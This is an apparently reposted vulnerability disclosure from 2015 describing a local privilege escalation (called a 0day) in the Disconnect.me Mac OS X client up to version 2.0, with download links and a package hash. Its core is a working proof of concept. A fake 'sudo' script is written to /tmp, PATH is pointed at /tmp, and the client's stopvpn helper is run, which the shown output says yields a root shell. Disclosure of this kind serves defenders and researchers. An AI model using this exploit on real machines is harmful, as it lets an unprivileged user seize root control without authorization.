|
Disconnect.me Mac OS X Client <= 2.0 - Local Privilege Escalation
|
|
来源：https://www.linkedin.com/in/kristianhermansen 作者：Hermansen 发布时间：2015-09-07
|
|
Disconnect.me is the search engine entrusted by the Tor Browser.
Unfortunately, the Mac OS X client has an LPE to root vulnerability (0day).
Original Download <= v2.0: https://disconnect.me/premium/mac
Archived Download: http://d-h.st/LKqG
Disconnect+Desktop.pkg: sha256 = bc94c94c88eb5c138396519ff994ae8efe85899475f44e54f71a6ebc047ce4e7
https://www.virustotal.com/en/file/bc94c94c88eb5c138396519ff994ae8efe85899475f44e54f71a6ebc047ce4e7/analysis/
PoC:
"""
$ id
uid=501(...) gid=20(staff) ...
$ cat /tmp/sudo
#!/bin/bash
/usr/bin/id
/bin/bash
$ chmod +x /tmp/sudo
$ PATH=/tmp "/Library/Application Support/disconnect/stopvpn"
uid=0(root) gid=0(wheel) ...
# /usr/bin/whoami
root
"""
--
Kristian Erik Hermansen (@h3rm4ns3c)
https://www.linkedin.com/in/kristianhermansen
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
